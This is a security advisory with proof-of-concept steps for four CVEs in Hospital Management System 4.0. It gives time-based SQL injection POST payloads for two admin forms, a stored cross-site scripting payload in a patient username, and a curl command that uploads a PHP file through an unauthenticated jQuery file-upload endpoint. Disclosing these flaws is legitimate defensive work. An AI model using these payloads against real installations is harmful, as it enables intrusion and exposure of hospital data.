Hospital Management System 4.0 XSS / Shell Upload / SQL Injection

Description: Mutiple vulnerabilties were discovered in Hospital Management System
Affected CMS: Hospital Management System
Affected Version: <= 4.0
CVE ID: CVE-2020-26627, CVE-2020-26628, CVE-2020-26629, CVE-2020-26630
CVSS Score: 7.2 (High)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Discoverers: Chris Chan @ UDomain Web Hosting Co.Ltd, Louise Ng @ UDomain Web Hosting Co.Ltd

Multiple vulnerabilities were discovered in Hospital Management System v4.0 and before which allows a remote attacker to execute arbitary web scripts.
Proof of Concept:
Attack Vector 1 (Time-Based SQL injection):
Step 1.) Login admin
Step 2.) Go to Conatctus Queries -> unread query -> type something in admin remark (e.g test) and submit
Step 3.) Replace the POST body to below payload and server will respond after 5 second.
adminremark='/**/AND/**/(SELECT/**/1/**/FROM/**/(SELECT(SLEEP(5)))CXde)/**/AND/**/'a'='a&update=

Attack Vector 2 (Time-Based SQL injection):
Step 1.) Login admin
Step 2.) Go to Doctors -> Doctor Specialization -> Click Submit
Step 3.) Replace the POST body to below payload and server will respond after 5 second.
doctorspecilization='/**/AND/**/(SELECT/**/1/**/FROM/**/(SELECT(SLEEP(5)))CXde)/**/AND/**/'a'='a&submit=

Attack Vector 3 (Cross Site Scripting (XSS)):
After attacker login, attacker can append malicious javascript behind their name. Other people will trigger xss when they visit this user.
Step 1.) Login patient page
Step 2.) Got to My Profile>Edit Profile.
Step 3.) Append <ScRiPt >alert("poc")</ScRiPt> behind username and save
Step 4.) Other user visit this profile will trigger xss

Attacker Vector 4 (Unauthenticated Arbitrary File Upload):
The HMS is using a vulnerable jquery file upload. Attacker can upload any file to server and trigger it.
Step 1.) upload file with below curl command:
curl -i -s -k -X $'POST' 
    -H $'Content-Type: multipart/form-data; boundary=a211583f728c46a09ca726497e0a5a9f' -H $'Host: localhost' -H $'Content-Length: 164' 
    --data-binary $'--a211583f728c46a09ca726497e0a5a9fx0dx0aContent-Disposition: form-data; name="files[]"; filename="info.php"x0dx0ax0dx0a<?php phpinfo(); ?>x0dx0a--a211583f728c46a09ca726497e0a5a9f--' 
    $'http://localhost/hsm/hms/admin/vendor/jquery-file-upload//server/php/index.php'
Step 2.) visit the url in response and trigger the php file.



Recommendation
Update to v5.2.0

https://phpgurukul.com/contact-us/
https://phpgurukul.com/hospital-management-system-in-php